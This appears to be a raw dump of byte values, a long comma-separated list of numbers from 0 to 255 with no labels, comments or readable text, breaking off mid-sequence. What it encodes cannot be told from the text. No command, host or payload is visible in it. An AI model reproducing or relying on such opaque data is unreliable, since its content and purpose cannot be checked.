223, 210, 111, 252, 11, 252, 202, 255, 245, 127, 45, 191, 242, 127, 255, 63, 218, 175, 252, 95, 255, 215, 242, 123, 204, 46, 253, 206, 63, 223, 207, 247, 95, 254, 235, 156, 63, 224, 23, 250, 3, 230, 126, 231, 255, 238, 191, 220, 255, 238, 63, 199, 239, 247, 223, 254, 231, 248, 253, 254, 123, 255, 29, 254, 126, 111, 255, 81, 127, 231, 255, 238, 223, 246, 246, 31, 238, 215, 154, 93, 250, 131, 127, 190, 159, 239, 87, 253, 5, 254, 224, 95, 232, 119, 255, 133, 126, 247, 185, 63, 248, 191, 251, 207, 248, 223, 253, 135, 251, 3, 255, 219, 255, 112, 127, 224, 127, 239, 191, 200, 63, 240, 191, 254, 15, 247, 223, 254, 219, 222, 254, 195, 253, 87, 23, 171, 197, 223, 227, 191, 218, 54, 223, 62, 107, 246, 223, 189, 174, 254, 30, 255, 229, 235, 236, 219, 165, 117, 249, 215, 249, 47, 143, 105, 255, 189, 115, 206, 47, 245, 135, 44, 253, 55, 167, 156, 213, 165, 223, 249, 191, 164, 109, 245, 23, 88, 153, 253, 175, 15, 110, 127, 216, 255, 242, 46, 253, 75, 253, 97, 255, 227, 93, 250, 237, 223, 242, 223, 220, 27, 254, 176, 255, 238, 223, 242, 223, 219, 165, 255, 203, 79, 111, 254, 247, 215, 232, 255, 133, 5, 249, 191, 247, 159, 225, 127, 188, 28, 255, 143, 54, 197, 255, 217, 229, 240, 151, 255, 93, 127, 225, 193, 31, 52, 251, 95, 125, 89, 200, 111, 240, 203, 255, 247, 151, 196, 255, 114, 73, 126, 251, 183, 255, 50, 191, 203, 255, 96, 91, 254, 93, 255, 235, 109, 249, 119, 249, 67, 223, 182, 229, 223, 229, 191, 217, 148, 255, 235, 180, 208, 47, 245, 135, 253, 178, 255, 237, 130, 60, 248, 131, 255, 203, 47, 23, 249, 157, 87, 127, 142, 193, 31, 242, 115, 252, 190, 127, 192, 207, 49, 248, 67, 127, 142, 193, 31, 246, 115, 252, 30, 127, 224, 207, 177, 252, 135, 255, 87, 239, 153, 255, 222, 191, 192, 255, 104, 205, 254, 47, 255, 157, 255, 231, 214, 236, 255, 249, 141, 243, 191, 252, 175, 253, 15, 255, 111, 182, 206, 223, 237, 191, 250, 30, 221, 95, 224, 119, 251, 159, 95, 59, 127, 183, 255, 165, 181, 243, 191, 252, 15, 242, 71, 252, 207, 252, 251, 253, 247, 87, 207, 223, 249, 191, 94, 61, 255, 203, 133, 254, 119, 253, 95, 92, 232, 127, 215, 255, 217, 133, 254, 127, 176, 166, 254, 87, 255, 99, 250, 93, 254, 208, 95, 254, 127, 252, 125, 245, 255, 245, 63, 189, 222, 2, 126, 191, 216, 111, 254, 223, 220, 139, 254, 203, 255, 203, 28, 255, 229, 183, 191, 190, 93, 117, 126, 247, 95, 224, 191, 218, 208, 255, 203, 239, 73, 250, 5, 62, 182, 213, 254, 242, 111, 159, 63, 253, 61, 223, 62, 10, 248, 95, 254, 75, 159, 255, 50, 193, 49, 248, 149, 127, 161, 95, 237, 151, 255, 47, 147, 19, 191, 208, 31, 246, 223, 124, 56, 235, 191, 124, 93, 93, 254, 133, 127, 233, 63, 224, 237, 51, 53, 111, 97, 132, 95, 250, 15, 248, 175, 62, 75, 243, 243, 253, 124, 127, 216, 127, 153, 184, 248, 111, 158, 244, 135, 253, 215, 47, 190, 191, 240, 239, 242, 75, 253, 151, 111, 133, 255, 182, 191, 253, 210, 239, 242, 95, 110, 77, 111, 15, 215, 126, 143, 255, 234, 63, 220, 239, 254, 203, 191, 133, 93, 126, 143, 95, 238, 119, 95, 154, 29, 254, 247, 190, 81, 240, 247, 253, 133, 255, 176, 95, 254, 247, 252, 109, 127, 143, 185, 185, 223, 254, 23, 252, 157, 151, 126, 223, 95, 248, 15, 255, 239, 255, 127, 254, 136, 255, 238, 255, 243, 187, 252, 215, 255, 155, 236, 247, 157, 253, 239, 254, 3, 254, 202, 255, 221, 127, 192, 223, 249, 151, 255, 149, 223, 158, 185, 244, 123, 254, 242, 191, 243, 207, 247, 139, 45, 13, 126, 249, 223, 249, 231, 251, 197, 151, 86, 126, 249, 223, 249, 231, 251, 37, 255, 203, 255, 77, 244, 243, 253, 50, 75, 191, 207, 127, 249, 111, 255, 165, 151, 126, 223, 95, 254, 119, 254, 249, 126, 137, 95, 124, 233, 247, 254, 229, 127, 231, 159, 239, 151, 254, 37, 255, 203, 239, 227, 255, 249, 126, 151, 183, 143, 47, 253, 158, 179, 195, 223, 255, 191, 205, 9, 45, 253, 254, 191, 240, 242, 127, 243, 31, 239, 247, 255, 133, 127, 231, 255, 238, 225, 202, 127, 247, 240, 119, 249, 239, 254, 19, 254, 146, 255, 229, 167, 154, 254, 219, 127, 239, 223, 245, 127, 253, 223, 251, 247, 252, 229, 127, 137, 255, 242, 45, 196, 183, 247, 50, 255, 219, 233, 47, 245, 27, 253, 242, 131, 181, 193, 127, 249, 181, 247, 111, 159, 218, 249, 47, 63, 75, 61, 251, 63, 254, 7, 248, 191, 140, 220, 188, 253, 143, 96, 233, 247, 251, 111, 254, 29, 255, 136, 95, 254, 15, 254, 109, 127, 191, 255, 242, 127, 225, 253, 126, 255, 213, 131, 255, 242, 127, 225, 253, 215, 255, 115, 248, 47, 191, 89, 236, 191, 93, 54, 255, 136, 95, 232, 247, 123, 123, 91, 124, 245, 157, 255, 160, 127, 224, 127, 125, 120, 250, 47, 63, 72, 179, 250, 203, 253, 158, 111, 31, 157, 25, 190, 251, 159, 233, 15, 252, 109, 87, 255, 199, 255, 57, 254, 235, 255, 201, 255, 151, 255, 201, 255, 192, 181, 255, 234, 127, 125, 255, 62, 255, 245, 127, 136, 95, 240, 151, 88, 250, 239, 98, 91, 75, 171, 191, 240, 31, 246, 203, 255, 33, 191, 237, 239, 243, 95, 254, 135, 94, 253, 133, 255, 240, 255, 238, 225, 31, 241, 95, 62, 252, 47, 255, 17, 249, 47, 63, 238, 186, 246, 246, 175, 70, 254, 199, 255, 170, 231, 179, 255, 1, 127, 177, 255, 250, 155, 155, 254, 171, 255, 157, 252, 251, 254, 55, 255, 157, 253, 190, 255, 221, 7, 0, 126, 181, 223, 246, 247, 253, 237, 103, 151, 126, 255, 255, 242, 253, 245, 223, 119, 237, 237, 219, 244, 254, 199, 255, 185, 223, 251, 247, 250, 197, 127, 207, 255, 250, 159, 162, 191, 203, 127, 189, 44, 252, 254, 255, 253, 255, 5, 252, 223, 94, 230, 86, 127, 161, 193, 127, 125, 115, 248, 45, 255, 203, 127, 230, 254, 215, 180, 253, 151, 255, 223, 255, 246, 147, 144, 191, 252, 239, 60, 247, 139, 255, 151, 75, 211, 127, 249, 111, 252, 111, 62, 192, 251, 95, 62, 250, 175, 254, 199, 251, 95, 62, 241, 191, 221, 68, 126, 239, 95, 224, 191, 36, 253, 191, 250, 30, 200, 255, 234, 240, 177, 240, 91, 253, 15, 255, 195, 254, 86, 255, 115, 255, 97, 127, 171, 255, 246, 63, 236, 111, 245, 223, 254, 135, 253, 173, 254, 151, 254, 195, 254, 46, 191, 240, 239, 246, 155, 255, 151, 111, 18, 255, 230, 75, 191, 203, 47, 252, 187, 253, 22, 255, 229, 163, 223, 98, 109, 246, 23, 248, 111, 95, 111, 254, 171, 19, 198, 111, 248, 223, 188, 165, 252, 63, 122, 253, 249, 111, 62, 168, 253, 95, 254, 167, 253, 175, 62, 231, 190, 242, 203, 173, 254, 55, 175, 24, 191, 248, 111, 248, 95, 190, 76, 12, 215, 150, 254, 235, 135, 255, 213, 187, 209, 255, 205, 195, 255, 246, 223, 250, 95, 37, 187, 126, 247, 95, 254, 191, 251, 255, 191, 189, 124, 253, 183, 255, 159, 193, 127, 245, 159, 226, 247, 248, 175, 94, 100, 6, 191, 220, 239, 177, 244, 95, 126, 169, 248, 47, 241, 246, 95, 202, 255, 228, 197, 102, 240, 223, 189, 212, 12, 230, 126, 177, 255, 238, 165, 102, 48, 247, 95, 254, 159, 45, 255, 175, 222, 145, 249, 125, 255, 203, 15, 102, 191, 253, 247, 245, 75, 253, 38, 255, 237, 127, 95, 255, 189, 255, 70, 126, 169, 223, 228, 127, 244, 223, 200, 47, 245, 155, 252, 183, 255, 141, 188, 61, 252, 175, 254, 27, 249, 111, 30, 254, 183, 255, 214, 255, 42, 153, 246, 123, 252, 242, 255, 221, 255, 127, 233, 119, 255, 111, 159, 183, 248, 187, 255, 55, 159, 140, 29, 252, 242, 191, 251, 127, 245, 63, 180, 193, 219, 255, 208, 126, 137, 217, 225, 239, 249, 223, 253, 211, 109, 240, 171, 252, 151, 111, 37, 253, 82, 191, 222, 47, 240, 187, 255, 182, 191, 243, 111, 255, 11, 253, 238, 111, 255, 227, 123, 251, 127, 254, 171, 143, 151, 255, 215, 239, 39, 253, 215, 255, 204, 251, 93, 254, 171, 127, 61, 243, 187, 252, 215, 255, 114, 102, 249, 191, 252, 23, 50, 191, 203, 236, 207, 247, 243, 253, 46, 111, 255, 50, 102, 233, 119, 254, 5, 126, 151, 255, 234, 127, 5, 253, 50, 191, 219, 127, 251, 113, 172, 15, 124, 106, 224, 237, 244, 253, 91, 254, 247, 255, 63, 191, 213, 127, 255, 243, 4, 191, 204, 127, 239, 99, 11, 191, 204, 239, 246, 223, 253, 91, 254, 219, 127, 25, 243, 223, 126, 149, 254, 127, 245, 46, 194, 242, 111, 185, 244, 187, 252, 247, 255, 53, 200, 239, 242, 223, 189, 69, 255, 187, 252, 183, 239, 81, 255, 46, 255, 189, 183, 232, 87, 255, 235, 127, 209, 241, 187, 188, 253, 139, 142, 149, 95, 248, 119, 251, 173, 127, 129, 213, 95, 232, 119, 254, 47, 255, 117, 213, 255, 224, 95, 55, 252, 50, 191, 219, 255, 240, 95, 55, 44, 255, 215, 255, 186, 225, 119, 249, 239, 222, 158, 255, 93, 254, 219, 255, 109, 190, 252, 246, 191, 205, 127, 151, 183, 255, 109, 254, 187, 252, 47, 254, 111, 243, 223, 229, 127, 246, 127, 155, 255, 46, 255, 253, 255, 109, 254, 95, 253, 247, 250, 187, 253, 214, 255, 253, 255, 109, 254, 223, 125, 105, 227, 234, 207, 241, 59, 255, 151, 247, 202, 95, 245, 231, 250, 21, 151, 127, 217, 223, 227, 191, 122, 147, 254, 191, 186, 133, 255, 215, 31, 3, 254, 197, 126, 255, 95, 224, 247, 253, 57, 126, 143, 223, 231, 231, 248, 3, 126, 225, 95, 242, 215, 254, 47, 255, 1, 248, 57, 255, 208, 255, 242, 75, 209, 126, 223, 223, 254, 191, 124, 165, 254, 3, 254, 171, 135, 255, 229, 171, 199, 31, 252, 11, 255, 226, 191, 233, 127, 251, 79, 204, 223, 227, 119, 253, 5, 126, 213, 95, 254, 15, 253, 133, 127, 201, 95, 226, 183, 253, 47, 255, 205, 191, 253, 219, 9, 254, 247, 92, 250, 245, 126, 249, 63, 244, 191, 188, 243, 255, 193, 255, 229, 159, 255, 242, 206, 251, 11, 44, 255, 242, 191, 222, 127, 119, 237, 255, 249, 126, 190, 95, 245, 191, 250, 167, 192, 31, 242, 203, 255, 193, 191, 240, 47, 254, 251, 46, 253, 106, 255, 229, 255, 243, 155, 45, 253, 97, 191, 252, 31, 252, 11, 47, 252, 102, 75, 191, 230, 47, 255, 7, 255, 194, 191, 216, 111, 190, 244, 7, 254, 151, 255, 198, 95, 123, 233, 191, 252, 151, 4, 127, 240, 127, 245, 105, 130, 255, 234, 95, 77, 253, 55, 159, 107, 255, 101, 126, 247, 217, 255, 102, 240, 43, 252, 98, 255, 163, 127, 251, 127, 19, 188, 253, 37, 127, 239, 183, 111, 41, 90, 122, 251, 242, 225, 183, 155, 220, 219, 23, 187, 254, 151, 223, 225, 251, 95, 126, 199, 227, 127, 249, 229, 160, 191, 234, 47, 240, 7, 254, 151, 199, 236, 63, 240, 191, 252, 48, 231, 31, 248, 95, 126, 141, 242, 31, 248, 246, 127, 227, 250, 191, 252, 214, 229, 63, 240, 237, 187, 254, 255, 203, 111, 85, 254, 3, 255, 203, 47, 81, 254, 3, 255, 203, 47, 97, 254, 3, 255, 203, 47, 93, 254, 3, 223, 190, 100, 249, 15, 124, 251, 82, 229, 63, 240, 237, 203, 131, 254, 192, 183, 111, 14, 250, 3, 223, 190, 54, 232, 15, 252, 175, 190, 102, 249, 191, 252, 250, 138, 255, 242, 251, 116, 127, 177, 95, 245, 23, 248, 67, 222, 254, 15, 99, 255, 151, 255, 25, 254, 144, 255, 42, 135, 241, 187, 254, 2, 127, 216, 127, 249, 95, 199, 194, 111, 246, 95, 78, 255, 176, 255, 114, 250, 135, 253, 151, 211, 63, 236, 191, 252, 207, 255, 135, 253, 151, 209, 140, 165, 255, 234, 11, 133, 7, 255, 245, 7, 5, 222, 158, 247, 171, 253, 151, 207, 251, 213, 254, 203, 231, 253, 106, 111, 255, 81, 222, 190, 170, 244, 23, 251, 85, 127, 129, 95, 243, 191, 252, 183, 255, 154, 255, 229, 191, 253, 215, 124, 11, 134, 188, 125, 229, 240, 31, 252, 11, 255, 18, 131, 165, 183, 239, 62, 254, 131, 127, 225, 95, 234, 15, 92, 122, 251, 188, 213, 31, 252, 11, 47, 255, 106, 75, 111, 223, 67, 252, 7, 255, 194, 43, 191, 229, 210, 31, 250, 11, 255, 18, 191, 238, 127, 249, 157, 122, 203, 179, 75, 255, 245, 255, 156, 127, 249, 229, 183, 143, 73, 191, 247, 63, 149, 255, 242, 127, 28, 203, 255, 221, 135, 190, 254, 235, 127, 96, 255, 111, 249, 111, 116, 233, 191, 253, 111, 244, 191, 249, 23, 167, 255, 229, 227, 95, 246, 23, 251, 61, 255, 103, 255, 59, 91, 250, 67, 127, 225, 223, 237, 183, 249, 175, 255, 123, 252, 175, 63, 89, 241, 95, 69, 125, 223, 254, 215, 200, 219, 63, 129, 151, 255, 203, 255, 27, 163, 255, 229, 55, 187, 254, 26, 191, 252, 175, 49, 255, 139, 45, 13, 222, 182, 129, 165, 223, 235, 23, 248, 175, 222, 167, 252, 221, 254, 231, 255, 29, 222, 102, 191, 215, 47, 48, 59, 28, 252, 194, 191, 219, 111, 245, 11, 12, 7, 191, 218, 47, 251, 27, 253, 66, 131, 95, 253, 151, 253, 13, 127, 161, 193, 175, 241, 203, 254, 70, 243, 191, 198, 47, 52, 248, 53, 127, 217, 223, 112, 254, 215, 90, 251, 133, 254, 208, 217, 165, 193, 47, 252, 187, 252, 87, 255, 209, 255, 203, 127, 30, 255, 90, 111, 127, 127, 231, 95, 224, 15, 125, 75, 124, 252, 151, 95, 149, 241, 95, 254, 159, 195, 248, 111, 86, 190, 197, 193, 127, 249, 221, 65, 255, 43, 169, 143, 95, 232, 15, 255, 133, 126, 213, 95, 232, 215, 251, 133, 126, 227, 95, 232, 55, 248, 133, 254, 128, 95, 232, 87, 255, 133, 126, 141, 255, 234, 205, 185, 95, 232, 15, 93, 250, 3, 126, 249, 229, 255, 246, 123, 55, 127, 201, 95, 127, 233, 191, 249, 126, 233, 95, 234, 15, 91, 250, 181, 126, 249, 95, 227, 151, 255, 69, 151, 254, 208, 95, 126, 248, 75, 252, 186, 255, 117, 36, 224, 151, 252, 173, 127, 161, 95, 242, 151, 248, 101, 135, 107, 191, 208, 47, 241, 251, 252, 151, 127, 127, 169, 223, 234, 191, 252, 251, 75, 254, 218, 255, 229, 223, 95, 230, 247, 120, 251, 183, 252, 193, 111, 143, 127, 207, 255, 242, 239, 239, 246, 219, 252, 178, 255, 229, 203, 236, 239, 241, 187, 254, 2, 127, 192, 47, 252, 75, 255, 102, 255, 37, 235, 255, 229, 255, 251, 95, 254, 147, 229, 143, 248, 175, 31, 253, 102, 75, 127, 208, 127, 245, 232, 23, 251, 205, 151, 150, 127, 190, 159, 239, 237, 127, 18, 255, 213, 63, 55, 254, 71, 255, 7, 140, 150, 254, 136, 255, 102, 250, 246, 63, 243, 63, 226, 191, 156, 254, 17, 255, 229, 244, 143, 120, 155, 254, 65, 255, 245, 244, 191, 250, 159, 252, 31, 244, 95, 78, 255, 160, 183, 255, 11, 242, 255, 205, 63, 175, 150, 255, 200, 63, 242, 143, 248, 35, 255, 200, 63, 232, 191, 252, 159, 196, 47, 241, 235, 254, 87, 95, 200, 251, 246, 232, 191, 252, 114, 200, 255, 50, 164, 248, 246, 122, 254, 107, 253, 242, 191, 214, 252, 47, 246, 95, 254, 79, 240, 191, 254, 31, 230, 219, 103, 247, 127, 191, 255, 234, 37, 238, 151, 249, 61, 102, 135, 255, 229, 127, 173, 191, 204, 239, 241, 219, 254, 126, 191, 253, 210, 31, 244, 246, 69, 106, 63, 215, 224, 215, 250, 185, 126, 197, 255, 38, 45, 243, 75, 253, 102, 191, 192, 31, 244, 95, 126, 170, 243, 15, 250, 47, 63, 212, 249, 7, 253, 151, 159, 233, 252, 131, 254, 203, 143, 116, 254, 178, 255, 205, 83, 127, 237, 255, 242, 99, 31, 255, 205, 147, 23, 126, 155, 95, 224, 15, 250, 47, 63, 67, 252, 7, 253, 151, 31, 33, 254, 131, 254, 203, 79, 16, 255, 65, 255, 229, 7, 136, 255, 187, 127, 183, 255, 242, 197, 238, 15, 250, 175, 254, 145, 250, 131, 126, 225, 95, 226, 15, 88, 250, 131, 126, 249, 63, 232, 23, 254, 131, 127, 191, 165, 223, 248, 127, 129, 156, 223, 248, 191, 251, 108, 229, 47, 246, 71, 252, 207, 253, 163, 243, 27, 255, 194, 127, 240, 239, 247, 63, 247, 15, 205, 31, 250, 95, 253, 55, 244, 203, 255, 198, 255, 229, 183, 10, 255, 62, 255, 213, 127, 171, 191, 212, 31, 60, 59, 252, 47, 255, 7, 244, 75, 253, 193, 255, 229, 191, 26, 253, 253, 126, 249, 63, 226, 23, 254, 197, 254, 240, 255, 134, 153, 255, 242, 241, 47, 251, 75, 254, 134, 75, 191, 241, 47, 255, 71, 252, 194, 191, 204, 47, 241, 223, 253, 91, 127, 153, 95, 226, 151, 253, 197, 254, 203, 127, 156, 255, 136, 255, 250, 191, 219, 95, 231, 231, 154, 29, 254, 33, 191, 252, 31, 241, 11, 47, 254, 82, 75, 191, 242, 127, 243, 15, 208, 111, 254, 11, 252, 126, 191, 208, 111, 60, 187, 244, 43, 255, 47, 252, 247, 240, 246, 111, 255, 47, 131, 47, 255, 245, 135, 248, 255, 235, 255, 80, 203, 127, 208, 127, 253, 31, 234, 23, 255, 125, 151, 126, 229, 95, 254, 143, 248, 133, 127, 169, 63, 224, 191, 253, 143, 184, 240, 187, 253, 151, 255, 17, 127, 161, 95, 249, 127, 241, 63, 230, 127, 249, 31, 233, 191, 254, 15, 243, 75, 253, 161, 255, 229, 63, 254, 255, 237, 191, 231, 234, 47, 240, 251, 205, 206, 254, 183, 228, 255, 202, 255, 229, 195, 183, 255, 118, 127, 249, 95, 249, 191, 252, 7, 226, 247, 254, 175, 255, 103, 254, 123, 254, 151, 255, 10, 254, 191, 252, 127, 127, 219, 223, 251, 191, 60, 49, 190, 253, 7, 90, 253, 141, 127, 174, 95, 241, 191, 137, 69, 13, 126, 221, 95, 224, 23, 253, 133, 126, 159, 255, 242, 127, 104, 191, 207, 219, 255, 172, 255, 235, 167, 12, 126, 189, 255, 242, 63, 215, 127, 251, 164, 95, 255, 237, 73, 131, 223, 96, 118, 118, 233, 15, 250, 229, 127, 159, 95, 248, 23, 251, 195, 255, 203, 119, 59, 255, 240, 255, 242, 95, 22, 253, 207, 252, 79, 227, 191, 252, 79, 245, 203, 255, 6, 255, 229, 191, 160, 251, 47, 255, 71, 243, 243, 253, 124, 127, 192, 47, 252, 203, 252, 94, 191, 240, 47, 243, 123, 207, 254, 161, 191, 240, 224, 55, 252, 229, 223, 254, 167, 245, 95, 255, 91, 254, 171, 239, 222, 252, 133, 127, 153, 223, 243, 191, 126, 206, 47, 254, 91, 207, 254, 87, 128, 252, 214, 191, 252, 219, 127, 152, 255, 250, 223, 248, 219, 191, 17, 246, 203, 252, 94, 191, 240, 224, 55, 90, 250, 67, 127, 225, 223, 253, 23, 253, 111, 255, 197, 217, 219, 255, 239, 127, 254, 191, 136, 193, 111, 252, 95, 255, 187, 252, 38, 111, 235, 235, 127, 253, 191, 227, 127, 137, 217, 225, 239, 253, 95, 254, 239, 245, 95, 226, 183, 253, 221, 223, 254, 115, 255, 222, 255, 213, 127, 179, 191, 251, 47, 246, 115, 253, 145, 127, 228, 127, 243, 248, 23, 255, 185, 102, 135, 191, 198, 47, 255, 107, 204, 253, 151, 47, 135, 255, 229, 91, 61, 107, 107, 191, 209, 47, 255, 107, 124, 224, 63, 200, 224, 55, 253, 185, 102, 135, 255, 77, 26, 109, 240, 155, 253, 2, 191, 247, 47, 252, 139, 253, 54, 191, 208, 239, 253, 11, 255, 226, 191, 251, 47, 244, 123, 255, 194, 131, 223, 252, 23, 250, 189, 127, 225, 223, 229, 143, 248, 47, 255, 252, 202, 255, 229, 255, 247, 183, 120, 187, 57, 252, 194, 131, 223, 242, 191, 252, 243, 91, 189, 189, 102, 255, 151, 255, 209, 126, 249, 95, 245, 191, 254, 231, 205, 127, 243, 31, 242, 183, 254, 239, 255, 135, 252, 109, 254, 7, 255, 33, 255, 235, 255, 104, 255, 139, 255, 190, 191, 207, 47, 250, 223, 251, 247, 253, 125, 126, 177, 95, 224, 247, 254, 133, 127, 233, 223, 239, 35, 255, 110, 191, 248, 127, 255, 223, 237, 151, 248, 5, 126, 239, 95, 248, 247, 249, 37, 127, 161, 223, 251, 23, 254, 125, 126, 169, 255, 230, 63, 239, 239, 243, 75, 255, 151, 127, 22, 254, 151, 255, 3, 252, 50, 255, 253, 255, 0, 139, 255, 205, 127, 222, 223, 231, 119, 254, 47, 255, 172, 252, 151, 127, 126, 151, 255, 229, 127, 223, 213, 255, 254, 191, 239, 239, 246, 223, 254, 251, 254, 238, 255, 139, 255, 30, 191, 251, 47, 246, 115, 205, 174, 252, 194, 191, 212, 111, 249, 11, 252, 46, 191, 192, 239, 253, 11, 255, 82, 191, 245, 47, 244, 7, 252, 194, 191, 243, 47, 61, 251, 11, 253, 151, 31, 208, 251, 111, 222, 165, 250, 239, 253, 143, 245, 87, 255, 200, 19, 127, 159, 223, 227, 231, 250, 175, 254, 231, 251, 251, 252, 158, 191, 237, 239, 253, 11, 255, 30, 191, 203, 111, 191, 244, 123, 255, 194, 191, 251, 47, 241, 203, 255, 1, 191, 240, 239, 254, 75, 44, 253, 222, 63, 223, 207, 247, 171, 255, 151, 111, 185, 253, 222, 191, 208, 239, 246, 11, 252, 238, 179, 191, 208, 207, 245, 115, 253, 151, 255, 123, 242, 247, 255, 5, 126, 255, 255, 250, 53, 231, 183, 154, 29, 254, 238, 255, 229, 107, 206, 111, 245, 219, 254, 254, 111, 255, 196, 248, 221, 127, 225, 95, 234, 183, 254, 175, 190, 91, 229, 237, 117, 121, 238, 191, 252, 255, 255, 215, 31, 17, 253, 189, 127, 249, 95, 116, 233, 247, 254, 229, 254, 155, 127, 195, 239, 61, 55, 55, 251, 95, 255, 147, 237, 23, 251, 61, 222, 158, 250, 223, 253, 147, 239, 55, 252, 229, 127, 173, 165, 247, 255, 115, 44, 254, 156, 255, 221, 7, 239, 254, 203, 255, 239, 111, 255, 115, 254, 55, 31, 100, 250, 165, 22, 255, 235, 15, 35, 189, 253, 155, 255, 199, 255, 37, 253, 222, 255, 245, 59, 16, 191, 193, 47, 255, 139, 46, 253, 6, 255, 237, 127, 45, 191, 193, 220, 220, 236, 239, 253, 219, 254, 6, 191, 253, 47, 255, 187, 188, 61, 249, 183, 253, 13, 126, 251, 255, 234, 31, 171, 165, 223, 251, 191, 252, 223, 213, 191, 251, 47, 249, 11, 255, 62, 191, 215, 47, 240, 123, 255, 66, 255, 229, 127, 192, 255, 106, 1, 24, 254, 183, 255, 246, 223, 251, 23, 248, 175, 254, 93, 254, 235, 127, 108, 255, 235, 167, 188, 165, 239, 254, 203, 255, 10, 126, 153, 193, 127, 243, 95, 216, 239, 253, 11, 255, 50, 255, 229, 231, 202, 254, 171, 127, 219, 127, 55, 255, 125, 254, 123, 243, 223, 231, 151, 255, 111, 254, 109, 255, 213, 127, 213, 191, 248, 31, 54, 59, 252, 189, 255, 235, 79, 117, 254, 151, 255, 191, 255, 146, 247, 183, 255, 247, 191, 249, 64, 230, 127, 245, 111, 251, 47, 63, 197, 249, 123, 255, 15, 62, 219, 249, 95, 63, 233, 191, 30, 252, 55, 159, 237, 252, 221, 127, 225, 95, 242, 215, 251, 249, 126, 190, 223, 251, 191, 254, 108, 231, 127, 249, 255, 251, 175, 254, 3, 254, 146, 191, 222, 127, 247, 31, 112, 241, 15, 152, 29, 254, 6, 255, 75, 31, 242, 252, 13, 126, 219, 255, 242, 9, 255, 253, 207, 121, 190, 253, 167, 253, 239, 254, 205, 255, 189, 39, 253, 98, 255, 131, 39, 253, 193, 191, 252, 127, 247, 111, 94, 91, 251, 67, 255, 171, 255, 73, 254, 242, 191, 247, 127, 249, 207, 163, 223, 243, 191, 250, 159, 241, 47, 241, 251, 204, 14, 255, 192, 95, 254, 191, 252, 127, 127, 219, 223, 243, 237, 127, 64, 127, 248, 127, 249, 111, 255, 3, 127, 225, 95, 124, 245, 191, 220, 80, 254, 240, 95, 254, 151, 255, 185, 126, 201, 95, 234, 231, 250, 35, 255, 200, 255, 242, 193, 47, 254, 187, 253, 215, 15, 126, 137, 95, 231, 231, 154, 253, 47, 159, 241, 219, 254, 225, 191, 253, 47, 255, 246, 31, 243, 191, 254, 255, 252, 55, 223, 242, 240, 95, 62, 231, 23, 251, 205, 254, 187, 231, 252, 55, 255, 239, 47, 255, 115, 253, 62, 131, 159, 235, 191, 252, 32, 210, 47, 254, 7, 191, 125, 45, 229, 31, 254, 223, 123, 254, 47, 241, 27, 255, 119, 207, 255, 197, 126, 231, 255, 246, 63, 226, 175, 248, 223, 123, 252, 95, 254, 251, 252, 50, 191, 239, 127, 239, 223, 231, 151, 250, 195, 255, 231, 254, 115, 252, 46, 191, 202, 219, 127, 142, 223, 229, 87, 249, 47, 159, 191, 248, 7, 254, 247, 158, 255, 139, 255, 158, 63, 215, 127, 249, 223, 212, 127, 247, 212, 255, 242, 35, 155, 255, 221, 127, 210, 255, 238, 83, 155, 255, 245, 191, 237, 127, 48, 123, 251, 236, 230, 127, 249, 111, 248, 239, 62, 189, 247, 243, 253, 124, 255, 245, 255, 255, 151, 251, 197, 222, 158, 250, 95, 126, 170, 244, 191, 250, 158, 253, 183, 255, 223, 226, 239, 251, 246, 214, 227, 127, 239, 35, 141, 203, 255, 221, 71, 26, 127, 255, 255, 234, 35, 141, 191, 252, 127, 245, 31, 225, 15, 95, 250, 189, 255, 171, 71, 191, 204, 239, 188, 244, 27, 252, 87, 143, 126, 169, 63, 116, 105, 229, 191, 254, 183, 253, 151, 95, 246, 254, 95, 125, 244, 241, 191, 253, 71, 251, 23, 94, 252, 175, 118, 197, 183, 199, 191, 251, 47, 53, 187, 252, 95, 127, 12, 242, 191, 254, 255, 255, 183, 163, 255, 242, 195, 144, 203, 255, 245, 135, 33, 255, 235, 127, 195, 127, 249, 31, 236, 191, 247, 121, 200, 183, 127, 235, 127, 249, 137, 199, 229, 255, 250, 19, 143, 255, 245, 191, 225, 191, 124, 218, 175, 243, 63, 122, 218, 127, 249, 201, 201, 229, 255, 250, 147, 147, 255, 189, 255, 82, 126, 255, 255, 242, 255, 52, 233, 127, 251, 17, 202, 229, 255, 238, 19, 146, 255, 213, 103, 64, 255, 155, 143, 71, 254, 222, 111, 255, 191, 255, 230, 179, 145, 191, 193, 219, 255, 239, 237, 131, 145, 43, 255, 189, 127, 104, 255, 203, 255, 78, 126, 195, 255, 246, 191, 147, 95, 236, 183, 90, 250, 245, 254, 135, 31, 138, 252, 253, 255, 235, 15, 69, 254, 254, 255, 245, 135, 34, 151, 255, 167, 31, 138, 252, 175, 255, 61, 254, 203, 255, 226, 126, 137, 223, 254, 237, 63, 238, 219, 191, 112, 249, 47, 255, 9, 254, 203, 255, 122, 107, 171, 111, 255, 106, 245, 119, 251, 45, 127, 129, 63, 244, 191, 218, 61, 222, 18, 63, 127, 196, 47, 255, 223, 126, 194, 255, 143, 252, 35, 255, 171, 183, 61, 254, 171, 239, 31, 250, 221, 127, 233, 255, 209, 255, 113, 157, 183, 143, 216, 254, 183, 255, 12, 248, 21, 255, 203, 199, 255, 213, 187, 245, 255, 245, 39, 138, 255, 187, 193, 194, 239, 249, 203, 254, 87, 201, 152, 95, 226, 55, 254, 229, 255, 123, 31, 89, 254, 21, 255, 203, 199, 255, 205, 63, 149, 151, 127, 225, 95, 230, 247, 251, 47, 63, 86, 252, 251, 253, 119, 195, 95, 230, 247, 123, 35, 255, 87, 125, 27, 254, 254, 255, 229, 240, 247, 255, 239, 13, 127, 255, 183, 225, 175, 246, 54, 252, 3, 254, 203, 225, 31, 240, 223, 27, 254, 1, 111, 195, 95, 253, 109, 248, 95, 125, 140, 249, 191, 55, 92, 252, 101, 255, 171, 255, 115, 56, 255, 245, 231, 152, 255, 123, 147, 229, 255, 122, 242, 187, 252, 26, 191, 252, 127, 249, 231, 191, 155, 252, 46, 191, 198, 127, 253, 223, 193, 239, 242, 107, 254, 151, 147, 95, 243, 191, 55, 249, 53, 255, 171, 172, 209, 239, 242, 107, 253, 151, 131, 95, 235, 191, 55, 248, 181, 254, 235, 193, 175, 253, 95, 14, 126, 237, 255, 222, 224, 215, 254, 175, 6, 11, 191, 247, 127, 249, 15, 211, 239, 253, 223, 251, 135, 233, 247, 254, 175, 255, 147, 44, 190, 229, 150, 222, 254, 207, 249, 188, 253, 15, 229, 119, 255, 165, 255, 171, 96, 230, 239, 243, 251, 252, 87, 255, 239, 47, 254, 7, 255, 151, 223, 189, 252, 95, 190, 108, 252, 151, 129, 162, 223, 249, 23, 254, 157, 255, 235, 224, 230, 239, 242, 123, 253, 